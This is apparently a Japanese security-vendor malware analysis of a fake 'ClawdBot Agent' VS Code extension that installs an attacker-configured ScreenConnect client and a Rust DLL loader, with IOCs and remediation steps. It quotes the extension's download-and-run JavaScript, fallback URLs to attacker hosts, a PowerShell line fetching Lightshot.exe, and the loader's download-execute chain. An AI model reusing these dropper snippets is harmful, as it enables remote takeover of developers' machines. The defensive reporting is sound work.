2026年1月27日、当社のマルウェア検出システムは、「ClawdBot Agent」という新しいVS Code拡張機能を検出しました。これは直ちに警鐘を鳴らしました。この拡張機能が完全に機能するトロイの木馬であることを確認しました。表面上は動作するAIコーディングアシスタントですが、VS Codeの起動と同時にWindowsマシンにマルウェアを密かに投下します。
重要な点は、本物のClawdbotチームは公式のVS Code拡張機能を公開していなかったことです。攻撃者は単にその名前を先に取得しただけでした。当社は直ちにMicrosoftに報告し、Microsoftは迅速にその拡張機能を削除しました。本稿では、この拡張機能に関する当社の調査について詳述します。
Clawdbotとは?
最近AI Xに触れた方なら、Clawdbotが至る所で言及されているのを目にしたことでしょう。これは、話題のAIアシスタントとして一種のバイラル現象となっています。当然ながら、これはなりすましの格好の標的となり、まさにそれがここで起こったことです。
この偽の拡張機能は信じられないほど正規のものに見えます。プロフェッショナルなアイコン、洗練されたUI、そして7つの異なるAIプロバイダー(OpenAI、Anthropic、Google、Ollama、Groq、Mistral、OpenRouter)との統合を備えています。宣伝通りに動作さえするため、それこそが危険な点なのです。

悪意のあるコード
この拡張機能をインストールしたときに実際に何が起こるのかを見てみましょう。
会社情報 package.json 即座にトリガーを設定します。
{
"activationEvents": ["onStartupFinished"]
}
これは、VS Codeが起動するたびに拡張機能が自動的に実行されることを意味します。ユーザーの操作は不要です。ここからが興味深い点です。その activate() 関数が呼び出されます initCore() 他の何よりも先に:
function activate(context) {
initCore(context);
// ... legitimate AI assistant code follows
}
そして initCore() で、重要な処理が行われます:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
try {
const config = JSON.parse(data);
if (config.enabled) {
downloadAndRun(config.exe, config.dll);
}
} catch (e) {}
});
}).on('error', () => {
runFallbackDownload();
});
}
あの空のcatchブロックが見えますか?それは意図的なものです。エラーメッセージも、アラートも、何も表示されません。失敗した場合、静かにフォールバックを試みます。それも失敗した場合、誰もそのことに気づかないでしょう。
ペイロードの配信
ここからが興味深い点です。実際に config.json をC2サーバーから取得しました。
{
"enabled": true,
"files": [
"Code.exe",
"DWrite.dll",
"ffmpeg.dll",
"icudtl.dat",
"libEGL.dll",
"msvcp140.dll",
"v8_context_snapshot.bin",
"vcruntime140.dll",
"vcruntime140_1.dll"
],
"version": "1.0"
}
一見すると、これはVS Codeになりすましているトロイの木馬化されたElectronアプリのように見えます。ファイル名も一致しています。 Code.exe はVS Codeの実行ファイル名です。 v8_context_snapshot.bin はV8エンジンのスナップショットです。 ffmpeg.dll そして libEGL.dll 標準的なChromiumの依存関係です。
しかし、その後ハッシュをVirusTotalでスキャンしたところ、状況が興味深いものになりました。
Code.exe は複数のAVベンダーによってConnectWise ScreenConnectとして検出されます:
Code.exe (SHA256: e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2)
- Kaspersky: Not-a-virus:RemoteAdmin.MSIL.ConnectWise.a
- K7AntiVirus: RemoteTool ( 005d90a81 )
- Trellix: RAdmin-ConnectWise.b当初、これは偽のメタデータだと考えていました。しかし、サンドボックスの挙動分析は異なる結果を示しています。実行されると、 Code.exe:
- にインストールされます
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\ - 正規のScreenConnectコンポーネントを展開します:
ScreenConnect.ClientService.exe,ScreenConnect.WindowsBackstageShell.exe,ScreenConnect.WindowsFileManager.exe - に接続します
meeting.bulletmailer[].net:8041
これは正規のScreenConnectソフトウェアです。しかし、悪用されています。
攻撃者は独自のScreenConnectリレーサーバーを構築し、事前設定されたクライアントインストーラーを生成して、VS Code拡張機能を通じて配布しました。犠牲者がこの拡張機能をインストールすると、完全に機能するScreenConnectクライアントがインストールされ、直ちに攻撃者のインフラストラクチャにコールバックします。
抽出された埋め込み設定は以下の通りです:
<ScreenConnect.ApplicationSettings>
<setting name="ClientLaunchParametersConstraint">
<value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value>
</setting>
</ScreenConnect.ApplicationSettings>
これが h=meeting.bulletmailer[.]net&p=8041 は攻撃者のリレーサーバーです。その k= パラメーターは、彼らのScreenConnectサーバーのRSA公開鍵です。すべての被害者のマシンは、このインフラストラクチャと自動的にリモートアクセスセッションを確立します。
これは「Bring Your Own ScreenConnect」(または「ScreenConnect as RMM abuse」とも呼ばれる)という既知の手法です。ScreenConnect、AnyDesk、TeamViewerのようなITサポートツールは、セキュリティツールがしばしば許可する信頼されたソフトウェアであるため、このように悪用されるケースが増えています。
そして DWrite.dll?これは冗長なペイロード配信メカニズムを提供します:
DWrite.dll (SHA256: d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea)
- Cynet: Malicious (score: 100)
- Elastic: Malicious (moderate Confidence)
- Ikarus: Trojan.Win64.Injector
これは DLLサイドローディング攻撃です バックアップとして機能します。Rustベースの DWrite.dll は、プライマリC2が機能しなくなった場合でも、Dropboxから独立してペイロードをフェッチできます。
ステージングコードはすべてを以下にドロップします。 %TEMP%\Lightshot:
const INIT_DIR = path.join(process.env.TEMP, 'Lightshot');その後、ペイロードを隠蔽され、デタッチされた状態で実行します。
spawn(exePath, [], {
detached: true,
stdio: 'ignore',
windowsHide: true
}).unref();
システム上でCode.exeが実行されているように見えます。開発者であれば、VS Codeは常に実行されているでしょう。気づくでしょうか?おそらく気づかないでしょう。もし調査したとしても、それは適切な署名を持つ正規のScreenConnectソフトウェアであることがわかるでしょう。悪意のある部分はバイナリ自体ではなく、そのバイナリがどこに接続するかです。
DWrite.dllの内部:Rustベースのローダー
私たちは DWrite.dll さらに、興味深い点があります。
このDLLはRustで記述されており(バイナリ内にコンパイラパスを確認できます)、以下の関数をエクスポートしています。 DWriteCreateFactoryこれは、正規のWindows DirectWriteライブラリがエクスポートする関数と全く同じです。ScreenConnectがこの関数をロードして呼び出すと、悪意のあるコードが即座にトリガーされます。
ダウンロード・書き込み・実行の連鎖は以下の通りです。
// Open internet connection
InternetOpenA(...)
// Fetch payload from URL
InternetOpenUrlA(...)
// Create file in TEMP
CreateFileA(local_path, ...)
// Download loop
while (InternetReadFile(...) && bytes_read != 0) {
WriteFile(local_file, buffer, bytes_read, ...);
}
// Execute the downloaded file
ShellExecuteA(NULL, "open", downloaded_file, ...);そして、どのURLからフェッチするのでしょうか?
https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1
Zoomのアップデートを装ったDropboxリンクです。なぜなら、1つの正規アプリケーションになりすますことができるのに、3つになりすまさない理由があるでしょうか?
驚くべきことに、私たちは以下をダウンロードしました。 zoomupdate.msi そのDropboxリンクからダウンロードし、ハッシュをチェックしました。それは e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2.
と同じハッシュです。 Code.exe。これは同じ悪意のあるMSIです。したがって、 DWrite.dll は冗長な配信メカニズムです。たとえ主要なC2インフラが停止しても、悪意のあるDLLはDropboxから同じペイロードを独立してフェッチできます。念には念を入れた対策です。
ローダーには以下も含まれています。
- 解析対策のタイミングチェック:
GetSystemTimeAsFileTimeおよび QueryPerformanceCounter を使用してサンドボックスを検出します。 - 動的API解決:
LoadLibraryAそしてGetProcAddressを使用して静的解析からインポートを隠蔽します。 - 権限チェック:
OpenProcessTokenを用いてTOKEN_QUERY環境を調査します。
冗長性、冗長性、冗長性
攻撃者はこれを絶対に失敗させたくありませんでした。彼らは3層のペイロード配信メカニズムを組み込みました。
- 動的設定:~からファイルリストを取得します。
clawdbot.getintwopc[.]site/config.json - JavaScriptフォールバック:設定サーバーがダウンした場合のハードコードされたURL。
- バッチスクリプトフォールバック:~にある完全に独立したドメイン。
darkgptprivate[.]com
こちらが拡張機能に埋め込まれたJavaScriptフォールバックです。
function runFallbackDownload() {
// Fallback URLs if config server is down
const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe';
const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll';
downloadAndRun(fallbackExe, fallbackDll);
}
そして、~にあるバッチスクリプトは scripts/run.bat さらなるパスを提供します。
set "U=https://darkgptprivate.com/d111"
powershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%U%\/Lightshot.exe','%D%\\Lightshot.exe')"興味深い点にお気づきでしょうか?ハードコードされたフォールバックは依然として Lightshot.exe そして Lightshot.dllを参照していますが、ライブ版は config.json は、Electronバンドルを指しています。 Code.exe.これは、攻撃者がペイロードを時間とともに進化させてきた可能性を示唆しています。単純なLightshotを装ったドロッパーから、より洗練されたVS Codeなりすましへとアップグレードし、古いフォールバックコードはそのまま残しているようです。
プライマリC2がダウンしてもバックアップがあります。Node.jsが失敗してもPowerShellがあります。最初のドメインが停止されても、2番目のドメインが待機しています。彼らは周到な準備をしていました。
インフラストラクチャ
両方のドメインを追跡しました。
clawdbot.getintwopc[.]site はCloudflareの背後にあり、実際のサーバーを見つけにくくしています。証明書の透明性ログによると、親ドメインは getintwopc[.]site 少なくとも2025年3月以降にアクティブであることが示されています。
darkgptprivate[.]com はより興味深い点です。これは 178.16.54[.]253に解決され、セーシェルにあるOmegatech LTDによってホストされています。証明書は2026年1月10日に発行されており、このサンプルを発見するわずか数週間前のことです。このドメインにはメールリレーサービス用のSPFレコードも設定されており、フィッシングにも使用されている可能性を示唆しています。
最近割り当てられたIPスペースを持つセーシェルでのオフショアホスティング?非常に疑わしいです。
この攻撃が効果的である理由
これは、スクリプトキディが難読化されたジャンクコードを寄せ集めたものではありません。攻撃者はいくつかのことを理解していました。
- ブランドの偽装は有効です:「Clawdbot VS Code」を検索する人々は、まずこれを見つけるでしょう。
- 機能するマルウェアは疑いを避けます:AI機能は実際に動作するため、ユーザーが不満を抱く理由はありません。
- VS Code拡張機能は信頼されています:これらは完全なファイルシステムとネットワークアクセスで実行されます。
- 起動時のアクティベーションは強力です:インストール後にクリックは不要です。
- 複数のフォールバックが確実な配信を保証します:C2が失敗したら?Dropboxを試します。Node.jsが失敗したら?PowerShellを試します。
- 正規のRATは巧妙である: ScreenConnectはセキュリティツールが許可する信頼されたITソフトウェアです
- 武器化された設定が鍵です:バイナリはクリーンであり、悪意があるのは宛先のみです。
- プロセスの偽装が機能する:A
Code.exe開発者のマシン上で実行されるプロセスは、全く疑われることがありません。 - 4重のなりすまし:Clawdbot (拡張機能) → VS Code (ペイロード名) → Lightshot (ステージングフォルダ) → Zoom (Dropboxペイロード名)
この多層的な手口は巧妙です。偽のAIアシスタントが、攻撃者のインフラに接続するように設定された正規のリモートアクセスソフトウェアをドロップし、さらにRustベースのバックアップローダーが、スクリーンショットアプリケーションの名前を冠したフォルダにステージングされたZoomのアップデートを装った同じペイロードをDropboxからフェッチします。各層が防御側を混乱させます。
対処と検出
「ClawdBot Agent」拡張機能をインストールした場合、以下の手順を実行してください。
- VS Codeから拡張機能を直ちにアンインストールしてください。
- ScreenConnectのインストールを以下で確認してください
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\そして削除してください。 - Windowsサービスで
ScreenConnectクライアント (083e4d30c7ea44f7)そしてアンインストールします - 確認
%TEMP%\Lightshot関連ファイルがないか確認し、フォルダ全体を削除してください。 - タスクマネージャーを開き、以下のものを探してください
Code.exe一時ディレクトリまたは予期しないディレクトリから実行されているScreenConnectプロセス - ブロック
meeting.bulletmailer.netそして 179.43.176[.]32ファイアウォールで- 完全なアンチウイルススキャンを実行してください。
- 拡張機能にAPIキーを入力した場合は、直ちにそれらをローテーションしてください(OpenAI、Anthropic、Googleなど)。
- ペイロードを再起動させる可能性のあるスケジュールされたタスクやスタートアップエントリを確認してください。
- ポートへのアウトバウンド接続を監視してください。
8041
妥協の指標
ネットワークIOCs:
meeting.bulletmailer[.]net:8041(ScreenConnectリレー - プライマリC2)179.43.176[.]32(ScreenConnectリレーIP)clawdbot.getintwopc[.]site(拡張機能C2ドメイン)getintwopc[.]site(親ドメイン)darkgptprivate[.]com(セカンダリC2)178.16.54[.]253(darkgptprivateサーバー)https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1- (
DWrite.dllペイロードソース)
ファイルIOC:
ドロッパー(VS Code拡張機能):
- extension.js SHA256:
adbcdb613c04fd51936cb0863d2417604db0cd04792ab7cae02526d48944c77b - run.bat SHA256:
04ef48b104d6ebd05ad70f6685ade26c1905495456f52dfe0fb42f550bd43388
悪性ペイロード:
- Code.exe (不正に改変されたScreenConnectインストーラー):
e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2 - DWrite.dll (Rustベースのローダー):
d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea
今すぐソフトウェアを保護しましょう




